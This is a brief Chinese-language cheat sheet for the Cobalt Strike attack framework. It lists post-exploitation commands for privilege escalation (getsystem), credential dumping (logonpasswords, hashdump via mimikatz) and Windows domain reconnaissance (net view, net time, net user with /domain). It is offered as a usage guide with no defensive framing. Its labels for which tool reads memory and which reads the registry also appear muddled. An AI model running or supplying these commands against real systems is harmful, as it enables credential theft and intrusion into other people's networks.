Cobalt Strike使用

信息收集

getsystem
logonpasswords  抓取密码
net view /domain  查询域列表
net time /domain  判断主域
net user /domain  查询域内用户

主机密码抓取

hashdump 读内存密码：hashdump
mimikatz 读注册表密码：logonpasswords。